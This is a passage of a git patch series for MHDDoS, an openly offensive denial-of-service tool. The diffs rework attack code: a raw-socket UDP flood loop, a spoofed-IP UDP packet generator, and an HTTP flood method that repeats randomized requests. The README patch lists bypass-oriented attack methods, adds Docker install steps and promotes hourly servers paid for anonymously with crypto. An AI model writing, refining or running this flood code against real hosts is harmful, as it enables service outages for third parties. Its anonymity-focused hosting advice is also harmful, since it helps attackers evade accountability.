socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: - s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) - while Tools.sendto(s, payload, self._target): - continue - Tools.safe_close(s) - def FIVEMTOKEN(self) -> None: global BYTES_SEND, REQUESTS_SENT @@ -626,18 +617,6 @@ class Layer4(Thread): return packets - def _generate_discord(self) -> bytes: - ip: IP = IP() - ip.set_ip_src(__ip__) - ip.set_ip_dst(self._target[0]) - udp: UDP = UDP() - udp.set_uh_sport(ProxyTools.Random.rand_int(32768, 65535)) - udp.set_uh_dport(self._target[1]) - payload_data = bytes([ProxyTools.Random.rand_int(0, 255) for _ in range(40)]) - udp.contains(Data(payload_data)) - ip.contains(udp) - return ip.get_packet() - def _genrate_syn(self) -> bytes: ip: IP = IP() ip.set_ip_src(__ip__) @@ -1174,7 +1153,10 @@ class HttpFlood(Thread): Tools.safe_close(s) def GSB(self): - payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, + s = None + with suppress(Exception), self.open_connection() as s: + for _ in range(self._rpc): + payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, self._target.raw_path_qs, ProxyTools.Random.rand_str(6)) + "Host: %s\r\n" % self._target.authority + @@ -1190,9 +1172,6 @@ class HttpFlood(Thread): 'Sec-Gpc: 1\r\n' 'Pragma: no-cache\r\n' 'Upgrade-Insecure-Requests: 1\r\n\r\n') - s = None - with suppress(Exception), self.open_connection() as s: - for _ in range(self._rpc): Tools.send(s, payload) Tools.safe_close(s) From 3753b164b85c9d7040994ccfa30155f3268a956f Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 22 Oct 2025 17:01:55 -0300 Subject: [PATCH 15/15] conflicts resolved --- README.md | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 8b4a6f0..36755fc 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ * get GET | GET Flood * post POST | POST Flood - * ovh OVH | Bypass OVH + * ovh OVH | Bypass OVH * ovh RHEX | Random HEX * ovh STOMP | Bypass chk_captcha * stress STRESS | Send HTTP Packet With High Byte @@ -140,6 +140,18 @@ pip install -r requirements.txt apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt ``` +**Docker** + +```shell script +git clone https://github.com/MatrixTM/MHDDoS.git +cd MHDDoS +docker compose build +# you can use the built image directly by uncommenting one line in the dockercompose +docker compose run -it --entrypoint /bin/bash mhddos + +``` + + [python3]: https://python.org 'Python3' [github issues]: https://github.com/MatrixTM/MHDDoS/issues 'enter' @@ -148,5 +160,9 @@ apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pi ## Need a Cheap Hourly Server? No Problem aeza +#### You can buy an hourly 10Gbps server from [Aeza Hosting](https://aeza.net/?ref=375036) with crypto (100% anonymous). + + +zomro +#### [Zomro Hosting](https://zomro.com/vps?from=428115) allows you to purchase an hourly server using crypto and completely anonymously. -#### You can buy an hourly 10Gbps server from [Aeza Hosting](https://aeza.net/?ref=375036) with crypto (100% anonymous). \ No newline at end of file